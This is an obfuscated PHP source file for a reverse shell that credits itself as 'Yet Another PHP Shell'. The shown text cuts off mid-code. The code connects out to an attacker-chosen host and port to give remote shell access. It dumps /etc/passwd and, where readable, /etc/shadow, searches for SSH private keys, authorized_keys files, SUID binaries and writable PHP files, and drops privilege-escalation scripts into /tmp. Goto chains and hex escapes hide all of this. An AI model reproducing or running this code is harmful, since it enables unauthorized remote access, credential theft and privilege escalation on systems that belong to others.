"\40\120\157\x72\164\x20\x6d\165\163\x74\x20\x62\145\40\x62\x65\164\167\x65\x65\156\40\60\55\66\x35\65\x33\x35\x2e\xa\103\x68\157\157\163\145\x20\141\156\157\x74\150\145\x72\40\160\157\x72\x74\72\x20"); goto k0K4s; a99VH: $sC5i_ = explode("\x3a", $G8_xz); goto R7UWI; OnBfH: } goto iEi9A; tdw0o: $rpc4Z = $sC5i_[1]; goto UAOKw; vPOdm: function nVAMW() { goto yJdA2; op8NZ: if (chmod("\x2f\x74\155\160\x2f" . $bUs__, 777)) { goto vfrei; } goto YIsIA; a2kPR: if (chmod("\x2f\x74\x6d\x70\x2f" . $va0kp, 777)) { goto XOmq2; } goto voLNX; lbZbw: j3OQc: goto MDt9F; HPoG8: lby7Y: goto iTe0o; t01aL: fwrite($uhabo, F3ve0("\x5b\53\x5d\40\x4c\151\156\x65\x6e\x75\155\40\x73\x61\x76\145\x64\40\164\157\x20\x2f\164\x6d\x70\57" . $bUs__) . n9iLw("\xa\x5b\151\135\40\x43\150\141\156\x67\x69\156\x67\40\x70\x65\x72\155\x69\163\x73\x69\157\x6e\x73\56\56\x2e\12")); goto op8NZ; YIsIA: fwrite($uhabo, YuaT6("\x5b\41\135") . "\40\x43\157\165\x6c\144\156\x27\x74\x20\143\x68\x61\156\147\x65\40\x70\145\x72\155\151\163\163\151\157\x6e\x73\x2e\x2e\56\x20\12\x5b\151\x5d\x20\x46\x69\154\x65\x20\167\x61\163\40\163\141\166\145\x64\40\x69\x6e\x20" . yUAt6("\57\x74\x6d\x70\x2f" . $bUs__ . "\12")); goto vwqZ4; EzAlb: fwrite($uhabo, F3Ve0("\x5b\53\x5d") . "\x20\114\x69\x6e\160\145\141\x73\x20\x73\141\x76\145\144\x20\x74\x6f\x20\57\164\x6d\x70\x2f" . $va0kp . N9ILW("\xa\x5b\x69\x5d\x20\x43\150\x61\x6e\147\151\156\x67\x20\x70\x65\162\155\151\x73\163\151\x6f\156\163\x2e\56\x2e\12")); goto a2kPR; vwqZ4: goto j3OQc; goto cKMF3; QsDq5: fwrite($uhabo, F3ve0("\x5b\x2b\x5d") . "\40\x50\145\162\x6d\151\163\x73\x69\157\156\163\40\x63\150\x61\156\147\x65\144\x21\x20\xa\x5b\151\x5d\x20\x59\157\165\40\143\141\x6e\40\162\165\156\x20\151\x74\40\167\151\164\150\x20" . YuAT6("\x73\x68\40\x2f\164\x6d\x70\x2f" . $va0kp . "\40\174\x20\x74\x65\145\40\57\x74\155\x70\x2f\x6c\151\x6e\x70\145\x61\163\56\154\x6f\x67\xa\xa")); goto pOlc0; cKMF3: vfrei: goto gRtH7; voLNX: fwrite($uhabo, yuat6("\133\41\x5d") . "\40\x43\157\165\x6c\144\x6e\47\x74\x20\x63\x68\141\x6e\x67\145\40\160\145\162\x6d\x69\163\163\x69\x6f\156\x73\x2e\56\x2e\40\12\133\151\x5d\x20\x46\151\x6c\145\40\x77\141\x73\x20\x73\141\x76\x65\x64\x20\151\x6e\x20" . YuAT6("\x2f\x74\x6d\160\x2f" . $va0kp . "\xa\xa")); goto s5JPl; Tb6Kc: $va0kp = E3iK9($xMbBb["\154\x69\x6e\160\x65\141\163"], "\57\164\x6d\160\57"); goto EaNSu; wZpFr: if (!$va0kp) { goto lby7Y; } goto EzAlb; vUPqw: XOmq2: goto QsDq5; MDt9F: ehNAH: goto QD_4K; yJdA2: global $uhabo, $xMbBb; goto Tb6Kc; EaNSu: $bUs__ = e3ik9($xMbBb["\x6c\x69\156\x65\x6e\165\x6d"], "\x2f\164\155\160"); goto wZpFr; s5JPl: goto NZsuM; goto vUPqw; iTe0o: if (!$bUs__) { goto ehNAH; } goto t01aL; gRtH7: fwrite($uhabo, F3vE0("\x5b\x2b\x5d") . "\40\120\x65\x72\x6d\151\x73\x73\x69\157\156\x73\40\143\150\x61\156\x67\145\x64\41\x20\12\x5b\x69\135\x20\131\x6f\x75\x20\x63\x61\156\x20\162\165\156\x20\x69\164\40\x77\x69\x74\x68\40" . yUAt6("\x73\150\40\x2f\x74\155\160\x2f" . $bUs__ . "\40\x7c\x20\x74\x65\145\x20\57\164\x6d\160\x2f\x6c\151\x6e\145\x6e\165\155\56\154\x6f\147\xa")); goto lbZbw; pOlc0: NZsuM: goto HPoG8; QD_4K: } goto FjG6i; ZrUAL: goto buOLW; goto raSj4; njpLv: goto zWlXh; goto l49dA; iREwo: KQYCU($RKYHn); goto tSd1g; XCqu3: function d_OdR($kW0w8 = '') { goto XbokL; yOFMT: return $kW0w8; goto N4bDr; H0kvs: $kW0w8 .= $G8Qti[mt_rand(0, strlen($G8Qti) - 1)]; goto N0ILM; vBNWA: if (!($WV7Df <= mt_rand(5, 6))) { goto mhr6M; } goto H0kvs; yHIAn: I8UPn: goto vBNWA; bBe3S: mhr6M: goto yOFMT; i4LLv: $WV7Df++; goto Djq3o; XbokL: $G8Qti = implode('', array_merge(range("\x41", "\132"), range("\x61", "\x7a"), range(0, 9))); goto ljHlN; ljHlN: $WV7Df = 0; goto yHIAn; Djq3o: goto I8UPn; goto bBe3S; N0ILM: PlZBK: goto i4LLv; N4bDr: } goto MOKoI; QnfQm: function GZwtE($y_O68 = false) { goto HiP1z; aj9Qi: FZGbi: goto rm0K5; HiP1z: global $u1E3o, $cUxHT; goto UQzLA; ObAtc: $cUxHT = oIpIr("\x5b\x59\101\x50\x53\x5d\x20") . str_replace(PHP_EOL, '', f3VE0($uqQWs . "\100" . rrOJ3("\x68\x6f\163\x74\x6e\x61\155\x65")) . "\x3a" . n9ilW(rROJ3("\x70\167\144")) . "\44\x20"); goto ZpGWa; UQzLA: $uqQWs = str_replace(PHP_EOL, '', rroJ3("\167\150\x6f\141\x6d\x69")); goto nrSsY; tlSwj: X30Bd: goto lZtm8; iZDr0: $cUxHT = oIpIR("\x5b\x59\x41\120\123\x5d\40") . str_replace(PHP_EOL, '', $uqQWs . "\100" . rrOj3("\150\157\163\164\x6e\141\x6d\145") . "\72" . rroJ3("\160\x77\144") . "\x23\x20"); goto TdK74; PCwRh: $u1E3o = true; goto NHE9Q; kRoDh: $u1E3o = false; goto aj9Qi; y9w8m: if (!$y_O68) { goto FZGbi; } goto kRoDh; NHE9Q: BWQGw: goto tlSwj; rm0K5: goto X30Bd; goto rieYZ; Hc961: nwYYO: goto eF9Az; pY15G: if (!($uqQWs == "\x72\157\x6f\164")) { goto y2JAe; } goto iZDr0; TdK74: y2JAe: goto y9w8m; eF9Az: if (!$y_O68) { goto BWQGw; } goto PCwRh; ZpGWa: if (!($uqQWs == "\162\157\157\x74")) { goto nwYYO; } goto adrie; rieYZ: E247E: goto ObAtc; nrSsY: if (!$u1E3o) { goto E247E; } goto MjPBz; MjPBz: $cUxHT = oipIr("\133\131\x41\x50\x53\x5d\x20") . str_replace(PHP_EOL, '', $uqQWs . "\100" . RROJ3("\x68\x6f\x73\164\x6e\141\155\145") . "\72" . rRoj3("\x70\167\144") . "\44\x20"); goto pY15G; adrie: $cUxHT = oiPIR("\x5b\131\101\120\123\x5d\40") . str_replace(PHP_EOL, '', awT6z($uqQWs . "\100" . rroj3("\x68\157\163\164\156\141\155\x65")) . "\72" . n9IlW(rrOJ3("\x70\167\144")) . "\x23\40"); goto Hc961; lZtm8: } goto B8toS; xePMo: function wKZAm($YCJCC) { goto QFG2F; Tkck2: JosJw: goto B9bdO; cQ5YQ: DTXaz: goto gKbBc; X_psm: UWqmX: goto vr46W; QFG2F: $D9msU = ini_get("\144\151\x73\x61\142\x6c\145\137\x66\x75\x6e\143\164\x69\157\x6e\163"); goto kdoTc; vr46W: return false; goto Ln5LU; sFuEb: goto DTXaz; goto Tkck2; H0laZ: $D9msU = array(); goto sFuEb; eY96J: return true; goto X_psm; kdoTc: if (!empty($D9msU)) { goto JosJw; } goto H0laZ; cFOMe: $D9msU = explode("\x2c", $D9msU); goto jSnU7; B9bdO: $D9msU = preg_replace("\57\x5b\x2c\40\135\53\x2f", "\54", $D9msU); goto cFOMe; gKbBc: if (!(is_callable($YCJCC) and !in_array($YCJCC, $D9msU))) { goto UWqmX; } goto eY96J; jSnU7: $D9msU = array_map("\164\162\x69\x6d", $D9msU); goto cQ5YQ; Ln5LU: } goto iSjTR; gLJIQ: $dOYbr = "\x66\x30\60\71\x34\x35\70\x36\60\x34\62\x34\146\x61\x36\61\x34\70\145\63\x32\71\x37\x37\x32\143\60\70\x65\x37\x64\x30\x35\144\x37\x66\141\142\x36\x66\66\x39\x61\x34\67\x32\62\x62\64\x63\66\66\x63\x31\x36\64\141\143\x64\142\x30\x31\70\x65\143\143\60\x63\142\143\66\x32\60\66\60\x63\x63\x36\x37\x65\67\x61\x65\71\x36\62\143\66\65\141\x62\65\x39\x36\67\x36\62\x30\x36\62\62\143\143\61\62\62\x30\66\x36\62\x37\62\x32\x39\142\x39\64\x31\x30\66\142\66\x36\144\x62\x36\142\70"; goto qq04D; LaeAp: $XHy50 = n9Ilw("\xa\x20\40\x20\x20\40\40\40\x6f\x20\x20\40\157\40\x20\40\x4f\x20\40\40\x20\157\55\x2d\x6f\40\x20\x20\157\55\157\12\40\40\40\40\40\x20\40\x20\134\x20\57\40\x20\x20\57\40\134\x20\40\x20\x7c\40\x20\x20\x29\40\50\12\x20\40\40\40\x20\40\40\x20\x20\117\40\40\40\157\x2d\55\x2d\157\40\x20\117\x2d\55\x6f\40\x20\x20\157\x2d\157\xa\40\x20\x20\40\40\x20\x20\40\x20\x7c\40\40\40\174\40\x20\40\174\x20\x20\x7c\40\x20\40\40\40\40\40\x20\x20\51\12\40\x20\x20\40\40\x20\x20\40\40\x6f\x20\x20\40\x6f\x20\x20\x20\157\x20\x20\157\x20\x20\x20\40\40\x6f\x2d\55\157\xa\x20\x20\40\x20\x20\40\x20\x20\x59\145\x74\x20\101\x6e\157\x74\x68\145\162\x20\x20\x50\x48\x50\40\x20\x53\150\145\154\154") . "\12\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\126\x65\x72\163\x69\x6f\x6e\40" . $xebfD . "\xa\x20\x20\x20\x20\40\40\40\103\x6f\x64\x65\x72\72\40\x4e\151\x63\x68\x6f\154\x61\163\x20\106\145\162\162\x65\151\162\141"; goto k4_PD; rOjHT: ini_set("\155\141\x78\x5f\x65\x78\145\x63\x75\x74\x69\157\156\137\x74\x69\x6d\145", 0); goto BmdWU; qgQIQ: $JdZ3h = getopt($rgl2_, $WoC0p); goto ZkRG8; yoo3n: die(H2S1z()); goto YrBUH; qq04D: $HgTE6 = false; goto pjNJ3; ErU9M: die("\x62\x61\x67\x75\x76\151\170"); goto xJh_6; dGYVi: rMZiE: goto RPoRC; Hqgam: function jNTAG() { goto FSc_b; XQoea: XpVQk: goto g8n3v; VWzmn: r_dMQ: goto rh2SP; OZPl5: $o19Sz = array("\156\x63", "\x6e\143\56\x74\x72\x61\x64\151\164\x69\157\x6e\x61\x6c", "\156\x63\141\x74", "\156\x6d\141\x70", "\x70\145\x72\x6c", "\160\x79\x74\150\157\156", "\x70\171\164\x68\x6f\x6e\x32", "\x70\171\164\x68\x6f\156\62\x2e\x36", "\160\x79\164\x68\157\x6e\62\x2e\67", "\160\x79\164\x68\x6f\x6e\x33", "\160\x79\164\x68\x6f\156\63\56\66", "\x70\x79\x74\x68\157\156\x33\x2e\67", "\x72\165\142\171", "\156\157\144\x65", "\147\143\x63", "\x67\53\53", "\x64\x6f\x63\153\x65\x72", "\160\x68\160"); goto g9YJt; UtXuh: fwrite($uhabo, F3vE0("\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\x3d\75\x3d\75\75\x3d\75\x3d\x3d\x3d\40\125\x73\145\x72\x73\40\151\x6e\146\x6f\40\x3d\75\x3d\75\x3d\75\x3d\x3d\75\x3d\x3d\x3d\75\x3d\x3d\75\x3d\75\x3d\75\75\75\12\xa")); goto yVd5F; FYFP3: $pQ1eO .= N9ilw("\x5b\x69\x5d\x20\x49\x6e\164\145\x72\146\141\143\x65\163\x2f\x72\157\165\x74\145\163\72\40\xa") . RROj3("\143\141\164\x20\x2f\x65\164\x63\x2f\x6e\x65\164\x77\x6f\x72\x6b\x73\40\46\x26\x20\162\x6f\165\164\145") . PHP_EOL; goto eah73; Q8oMn: fwrite($uhabo, F3VE0("\12\75\75\x3d\x3d\75\x3d\x3d\x3d\75\75\75\75\x3d\x3d\75\x3d\75\75\x3d\75\75\x3d\x20\x53\x55\x49\x44\x20\142\x69\156\x61\162\x69\x65\x73\40\75\x3d\x3d\75\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\75\x3d\12\xa")); goto qMVD5; vhyj0: fwrite($uhabo, n9ilw("\xa\x5b\151\135") . "\40\x47\x65\164\40\155\157\162\x65\40\x69\x6e\146\x6f\162\155\141\x74\x69\x6f\x6e\x20\167\151\164\150\x20\x21\145\156\x75\x6d\x2e" . PHP_EOL); goto kt0mz; eah73: $pQ1eO .= N9ilW("\133\151\x5d\40\x49\120\x20\124\x61\142\154\x65\x73\40\162\165\x6c\x65\163\72\x20\xa") . rroJ3("\50\151\x70\x74\x61\x62\x6c\x65\x73\40\55\55\154\x69\x73\164\55\x72\x75\154\145\x73\40\x32\76\x2f\144\x65\166\57\x6e\165\154\x6c\51") . PHP_EOL; goto sqjSa; sQ3SG: goto DFi3V; goto kgkSs; WckxW: foreach ($DjMSp as $WAWAi) { goto kYU3w; W46ns: ndgOH: goto DIbp3; GKxmv: fwrite($uhabo, AWt6z("\133\127\x72\151\164\141\x62\x6c\145\135\40") . $WAWAi . PHP_EOL); goto W46ns; DIbp3: AhYYZ: goto BCVl9; kYU3w: if (!($WAWAi !== '')) { goto ndgOH; } goto GKxmv; BCVl9: } goto XQoea; zha1g: Q0DXC: goto q4ank; dPpZV: fwrite($uhabo, $pQ1eO); goto eGt2l; LG4TW: fwrite($uhabo, $pQ1eO); goto UtXuh; VOshO: $nuAkD = array("\x2f\166\x61\x72\x2f\x77\167\x77", "\57\x73\162\x76", "\57\165\x73\x72\x2f\154\x6f\143\141\x6c\57\x61\x70\x61\143\150\x65\62", "\x2f\x76\x61\x72\x2f\141\x70\x61\x63\150\x65\62", "\57\166\141\162\x2f\x77\167\x77\x2f\x6e\x67\x69\156\x78\55\x64\145\x66\x61\165\154\164"); goto Gq3Ng; kOHgk: fwrite($uhabo, f3vE0("\xa\x3d\x3d\x3d\x3d\x3d\75\75\x3d\75\x3d\x3d\75\x3d\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\x20\x53\x53\110\x20\146\151\154\145\x73\x20\75\75\x3d\x3d\75\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\75\75\x3d\x3d\75\75\75\75\12\xa")); goto Eybew; FSc_b: global $uhabo; goto fsqyI; HpPDZ: $pQ1eO .= N9iLW("\133\151\x5d\40\x43\x72\x6f\156\x74\x61\x62\40\x6f\146\40\143\165\x72\x72\x65\156\164\40\x75\163\145\162\x3a\40\xa") . Rroj3("\143\x72\x6f\156\164\x61\142\x20\x2d\x6c\x20\174\40\x65\147\162\145\x70\x20\x2d\x76\x20\47\136\x23\x27") . PHP_EOL; goto iSy3n; qECcV: sZULW: goto c1djQ; Uzmqe: $pQ1eO = n9ILw("\133\151\135\x20\117\x53\40\x69\156\x66\157\72\xa") . RRoJ3("\154\163\x62\137\162\x65\x6c\145\141\x73\145\x20\x2d\x61\40\x7c\x20\147\162\145\x70\40\55\x76\x20\47\x4e\157\x20\114\x53\102\47") . PHP_EOL; goto U8Xe3; sqjSa: $pQ1eO .= N9iLw("\133\151\x5d\40\x41\143\x74\x69\166\145\40\x70\x6f\162\164\163\72\x20\xa") . RrOJ3("\50\x6e\145\164\163\164\x61\x74\x20\x2d\160\x75\x6e\x74\x61\51\x20\x32\x3e\57\x64\x65\166\57\x6e\165\x6c\x6c") . PHP_EOL; goto QnQnt; B78Fs: if (!($WV7Df < 25)) { goto p7sdg; } goto Z47mV; fsqyI: fwrite($uhabo, F3VE0("\xa\75\x3d\x3d\75\x3d\x3d\75\75\75\x3d\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\75\x3d\x20\x49\x6e\x69\x74\151\141\x6c\40\151\156\x66\157\x20\75\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\75\xa\12")); goto Uzmqe; KEWlk: $pQ1eO .= n9ilw("\x5b\151\135\x20\x55\163\145\162\x2f\147\162\x6f\165\x70\x73\x3a\40") . RRoJ3("\151\144") . PHP_EOL; goto kOU1F; g7A05: fwrite($uhabo, F3Ve0("\75\x3d\75\x3d\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\x3d\75\75\40\116\145\x74\40\x69\156\146\x6f\40\75\x3d\75\75\x3d\x3d\75\x3d\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\xa\12")); goto APiWX; sPf7G: eHvsG: goto F3P5Y; MxT_U: $WV7Df++; goto sQ3SG; g9YJt: foreach ($o19Sz as $CEse5) { goto rakGJ; PXyYc: G3693: goto SC1uP; P8oXg: if (!($CEse5 !== '' && base64_encode($CEse5 . PHP_EOL) !== "\x43\x67\75\x3d")) { goto G3693; } goto dVf6b; dVf6b: fwrite($uhabo, RRoj3("\154\x73\40\55\x6c\x20{$CEse5}")); goto PXyYc; rakGJ: $CEse5 = shell_exec("\167\150\151\x63\150\x20{$CEse5}\x20\62\76\x2f\144\x65\166\57\156\165\x6c\154"); goto P8oXg; SC1uP: HT6Uh: goto lcsn4; lcsn4: } goto VgM80; kgkSs: p7sdg: goto fN0gV; fN0gV: fwrite($uhabo, "\x2e\56\56\12\x2e\x2e\x2e" . PHP_EOL); goto ArVbH; hmP78: foreach ($W1Oan as $MCi8k) { goto pEvEL; tf6QC: fwrite($uhabo, aWT6z("\133\127\x72\x69\164\x61\142\x6c\145\x5d\x20") . $MCi8k . PHP_EOL); goto RhPeL; pEvEL: if (is_writable($MCi8k)) { goto nNtS1; } goto SZrjy; XBmM9: nNtS1: goto tf6QC; DnDjl: goto ayOJu; goto XBmM9; TFAgV: PmI2O: goto VWIGc; RhPeL: ayOJu: goto TFAgV; SZrjy: fwrite($uhabo, $MCi8k . PHP_EOL); goto DnDjl; VWIGc: } goto qECcV; UMRuV: $pQ1eO .= n9ILw("\x5b\x69\135\x20\x55\163\145\x72\x73\x20\x69\x6e\40\x2f\x68\x6f\155\145\x3a\x20\xa") . rrOj3("\x6c\x73\40\x2f\150\x6f\x6d\x65") . PHP_EOL; goto HpPDZ; qMVD5: $vsdgM = explode("\xa", shell_exec("\146\x69\156\x64\x20\x2f\x20\55\x74\x79\160\145\40\146\x20\x2d\x70\x65\162\155\40\x2f\x34\60\60\60\x20\62\76\57\x64\145\x76\x2f\156\165\154\154")); goto Vdesd; PsR4U: $pQ1eO .= N9iLw("\133\x69\135\40\113\145\x72\156\x65\x6c\72\x20") . RROj3("\x75\x6e\x61\x6d\145\x20\x2d\x61"); goto rGMBD; VgM80: FQsAh: goto Q8oMn; uHFHe: fwrite($uhabo, RrOJ3("\143\x61\164\40\57\x65\x74\143\x2f\160\x61\163\163\x77\x64") . PHP_EOL); goto kcDAQ; rh2SP: TV2QF: goto MxT_U; mL7ib: $pQ1eO .= n9iLW("\x5b\x69\135\40\123\x75\144\157\40\x76\145\162\163\151\x6f\156\72\x20") . RrOj3("\x73\x75\144\x6f\x20\55\55\166\x65\x72\163\151\157\156\40\x7c\40\147\x72\x65\160\40\47\x53\x75\x64\x6f\x20\x76\x65\162\x73\x69\157\x6e\47\x20\x7c\40\143\x75\x74\x20\55\x64\x27\40\x27\x20\55\x66\x20\x33"); goto KEWlk; g8n3v: goto Q9zeu; goto LBnzM; BW0N6: $pQ1eO .= N9iLw("\133\x69\135\x20\122\101\x4d\x3a\x20\12") . RroJ3("\x63\x61\164\x20\57\x70\x72\x6f\143\x2f\155\145\155\151\156\x66\x6f\40\174\x20\x65\147\x72\x65\x70\40\55\151\40\x27\50\155\x65\155\x74\157\164\141\x6c\174\155\145\155\146\162\145\x65\x29\47"); goto mL7ib; APiWX: $pQ1eO = N9ilW("\x5b\x69\135\x20\111\120\40\x49\156\146\x6f\x3a\x20\12") . rROJ3("\x69\x66\x63\157\x6e\x66\151\x67") . PHP_EOL; goto zPaKw; kcDAQ: if (!is_readable("\x2f\145\x74\143\57\163\150\141\x64\x6f\x77")) { goto UIUfV; } goto W6484; ei6eM: Q9zeu: goto vhyj0; rGMBD: $pQ1eO .= N9Ilw("\133\x69\135\40\x43\120\125\72\40\12") . RrOJ3("\x63\141\164\x20\57\160\162\x6f\143\x2f\143\160\x75\151\156\x66\x6f\x20\174\40\147\x72\x65\x70\x20\x2d\151\40\x27\155\x6f\144\145\154\x20\x6e\x61\x6d\x65\47\x20\x7c\40\143\165\x74\40\x2d\144\x27\72\47\40\x2d\x66\40\62\40\174\40\163\145\144\x20\47\x73\x2f\136\40\x2a\57\x2f\147\x27"); goto BW0N6; Vdesd: foreach ($vsdgM as $kyNrO) { goto mCZVO; mCZVO: if (!($kyNrO !== '')) { goto nwVte; } goto eKJGM; eKJGM: fwrite($uhabo, rROj3("\x6c\x73\40\x2d\154\40{$kyNrO}")); goto Sq4qb; Sq4qb: nwVte: goto bgogj; bgogj: JOfYr: goto fAaDV; fAaDV: } goto Nwmf2; kOU1F: $pQ1eO .= n9Ilw("\x5b\x69\135\x20\101\x63\x74\x69\x76\x65\x20\124\x54\131\x3a\x20\12") . rroj3("\167") . PHP_EOL; goto LG4TW; Z47mV: if (!($DjMSp[$WV7Df] !== '')) { goto r_dMQ; } goto EN9pV; W6484: fwrite($uhabo, AWT6z("\133\41\135\40\57\145\x74\143\x2f\163\150\x61\x64\x6f\x77\x20\x69\163\40\162\145\141\x64\x61\x62\154\145\41\xa") . rroJ3("\143\141\164\x20\x2f\145\164\x63\57\163\150\x61\144\157\x77") . PHP_EOL); goto ts_bl; EN9pV: fwrite($uhabo, AWt6z("\x5b\x57\x72\x69\164\x61\142\x6c\145\135\40") . $DjMSp[$WV7Df] . PHP_EOL); goto VWzmn; zPaKw: $pQ1eO .= n9ILW("\x5b\x69\135\40\110\x6f\x73\x74\x73\x3a\x20\12") . RRoj3("\143\141\164\40\x2f\x65\x74\x63\x2f\x68\x6f\163\x74\x73\x20\174\40\147\x72\x65\160\x20\x2d\166\40\47\136\43\x27") . PHP_EOL; goto FYFP3; eGt2l: fwrite($uhabo, F3ve0("\x3d\75\x3d\x3d\75\x3d\75\x3d\x3d\75\x3d\75\x3d\x3d\75\75\x3d\75\x3d\75\75\75\40\101\154\154\x20\x75\x73\x65\x72\163\40\x3d\x3d\75\75\x3d\75\75\x3d\75\x3d\75\x3d\75\75\x3d\75\x3d\75\x3d\75\x3d\75\12\12")); goto uHFHe; r6u1e: $WV7Df = 0; goto vidEF; vidEF: DFi3V: goto B78Fs; U8Xe3: $pQ1eO .= N9Ilw("\x5b\x69\x5d\x20\x48\157\163\x74\156\x61\155\145\x3a\40") . RrOJ3("\x68\157\163\164\x6e\141\155\145"); goto PsR4U; QnQnt: fwrite($uhabo, $pQ1eO); goto LlN7D; ArVbH: fwrite($uhabo, f3Ve0("\133\x2b\x5d\40") . "\x53\150\x6f\x77\151\156\x67\40\x6f\156\x6c\x79\40\164\x68\145\40\146\151\x72\x73\x74\x20\62\65\40\146\151\x6c\x65\x73\x2e\x20\x54\150\x65\x72\x65\40\141\162\x65\x20\155\157\162\145\x21" . PHP_EOL); goto ei6eM; LBnzM: OXV3H: goto r6u1e; iSy3n: $pQ1eO .= N9IlW("\133\x69\135\x20\103\x72\x6f\156\164\x61\x62\x3a\x20\xa") . rrOj3("\143\141\x74\40\57\x65\x74\143\x2f\x63\162\x6f\x6e\164\x61\x62\40\174\40\145\147\x72\x65\x70\x20\x2d\166\x20\x27\x5e\x23\x27") . PHP_EOL; goto dPpZV; F3P5Y: fwrite($uhabo, f3VE0("\12\x3d\x3d\x3d\75\x3d\x3d\75\75\75\x3d\75\75\75\75\75\x3d\x3d\75\x3d\40\x57\x72\x69\164\x61\142\154\145\x20\x50\110\x50\40\146\151\x6c\145\163\40\x3d\75\x3d\x3d\75\x3d\75\x3d\75\x3d\75\x3d\x3d\75\x3d\75\x3d\x3d\75\12\xa")); goto oxbfA; Nwmf2: fIfLB: goto kOHgk; yVd5F: $pQ1eO = N9iLw("\133\151\x5d\40\x43\x75\x72\x72\x65\x6e\164\40\x75\x73\x65\162\72\x20") . Rroj3("\167\150\x6f\x61\155\x69"); goto UMRuV; Eybew: $W1Oan = explode("\xa", shell_exec("\146\x69\156\144\x20\57\40\x2d\164\171\x70\145\40\x66\40\55\156\141\x6d\x65\40\x61\165\164\150\x6f\162\151\172\145\144\x5f\x6b\x65\x79\x73\x20\62\76\57\x64\145\x76\x2f\156\165\154\x6c")); goto hmP78; oxbfA: $DjMSp = array(); goto VOshO; ts_bl: UIUfV: goto g7A05; c1djQ: $kPvBX = explode("\xa", shell_exec("\146\x69\x6e\144\40\x2f\x20\x2d\164\x79\160\x65\40\146\x20\x2d\x6e\141\155\x65\40\151\x64\137\x72\163\x61\x20\x32\x3e\x2f\144\x65\x76\57\156\x75\x6c\154")); goto MKBPG; LlN7D: fwrite($uhabo, F3Ve0("\75\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\x20\111\156\x74\145\162\x65\x73\x74\151\x6e\147\x20\142\151\x6e\141\162\151\145\163\40\75\x3d\75\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\75\75\75\x3d\75\75\75\12\12")); goto OZPl5; q4ank: if (count($DjMSp) > 25) { goto OXV3H; } goto WckxW; Gq3Ng: foreach ($nuAkD as $olpJM) { $DjMSp = array_merge($DjMSp, explode("\xa", shell_exec("\x66\151\x6e\144\x20" . $olpJM . "\40\x2d\x74\171\160\x65\x20\x66\x20\x2d\x6e\x61\155\145\x20\47\52\x2e\160\x68\x70\x2a\x27\40\55\x77\x72\151\164\141\142\154\x65\40\x32\76\x2f\144\145\x76\x2f\x6e\165\154\x6c"))); hwjVx: } goto zha1g; MKBPG: foreach ($kPvBX as $EmVlG) { goto o3gc7; sRr63: goto f8Xin; goto c7AhQ; iyLdH: f8Xin: goto Hh2Sf; Hh2Sf: VqO5C: goto sf0SN; SnwVc: fwrite($uhabo, $EmVlG . PHP_EOL); goto sRr63; c7AhQ: aONCJ: goto YqTh8; o3gc7: if (is_readable($EmVlG)) { goto aONCJ; } goto SnwVc; YqTh8: fwrite($uhabo, AwT6Z("\133\122\145\141\144\x61\x62\x6c\x65\135\40") . $EmVlG . PHP_EOL); goto iyLdH; sf0SN: } goto sPf7G; kt0mz: } goto XCqu3; RJvRn: Nw4Dk: goto njpLv; hMjzI: $uhabo = @fsockopen("\x74\x63\x70\72\57\x2f{$cQPaX}", $rpc4Z); goto WHA4F; IYlYs: $rpc4Z = $argv[$argc - 1]; goto JP9gn; s0m14: function awt6z($GXImm) { global $vIiwX; return $vIiwX ? "\33\x5b\71\x31\x6d" . $GXImm . "\x1b\133\60\155" : $GXImm; } goto iX619; qts3A: $M2vrL = $_SERVER["\123\103\x52\111\x50\124\137\x46\x49\114\105\116\101\115\105"]; goto uVx85; MOKoI: function E3iK9($FGeFq, $kQ3jq) { goto Br6ZT; IAEGK: if (!WkzAM("\x66\x69\x6c\145\137\160\x75\164\x5f\x63\x6f\156\164\x65\156\164\163")) { goto SX0Y2; } goto CKmPi; zbGid: $jPo3C = Nk5x0($FGeFq); goto IAEGK; zo2lb: NDZJ6: goto R44g5; sov5n: d_8WL: goto mVPJS; AqAHr: fclose($dJ6pT); goto fg9QC; x5itf: return $c0G2l; goto sov5n; Br6ZT: $c0G2l = d_oDR(); goto zbGid; xa68_: if (!fwrite($dJ6pT, $jPo3C)) { goto s141q; } goto AqAHr; WNz62: $dJ6pT = fopen($kQ3jq . "\x2f" . $c0G2l, "\x77"); goto xa68_; kBXay: s141q: goto zo2lb; mVPJS: SX0Y2: goto Jq4jT; R44g5: return false; goto aGQzX; fg9QC: return $c0G2l; goto kBXay; CKmPi: if (!file_put_contents($kQ3jq . "\x2f" . $c0G2l, $jPo3C)) { goto d_8WL; } goto x5itf; Jq4jT: if (!(wkZAm("\x66\x6f\x70\145\156") && WkZam("\146\167\162\x69\x74\x65") && wKZAm("\x66\x63\x6c\x6f\163\x65"))) { goto NDZJ6; } goto WNz62; aGQzX: } goto vPOdm; eHwdO: function UNk5v($kRaqY) { goto Geo4M; t539Z: JuTch: goto gchCq; xMMqM: switch (substr($kRaqY, 0, -1)) { case "\41\x61\154\154\55\143\157\154\x6f\162\x73": $vIiwX = !$vIiwX; goto JuTch; case "\x21\151\x6e\146\x6f": return jNtAG(); goto JuTch; case "\x21\x65\x6e\165\155": return nVAmw(); goto JuTch; case "\x21\x73\x75\x67\x67\145\x73\164\145\162": return jxhb5(); goto JuTch; case "\x21\143\157\154\157\x72": GZwte(true); goto JuTch; case "\x21\150\145\154\160": return ue3r5(); goto JuTch; case "\41\x70\150\x70": goto wasJe; We0j8: LBqLE: goto KnziR; wasJe: $a6dBR = s4rG1(); goto akKe8; C01ql: fwrite($uhabo, yuAt6("\x5b\151\x5d\x20\x43\x6f\144\145\40\x63\141\156\x63\145\154\x65\x64\x2e") . PHP_EOL); goto Rvkhk; Un2gY: ZRJeQ: goto ySuOW; Rvkhk: goto ZRJeQ; goto We0j8; akKe8: if ($a6dBR !== 0) { goto LBqLE; } goto C01ql; KnziR: $lnLRa = Qa3zJ($a6dBR); goto ajhGD; ySuOW: goto JuTch; goto 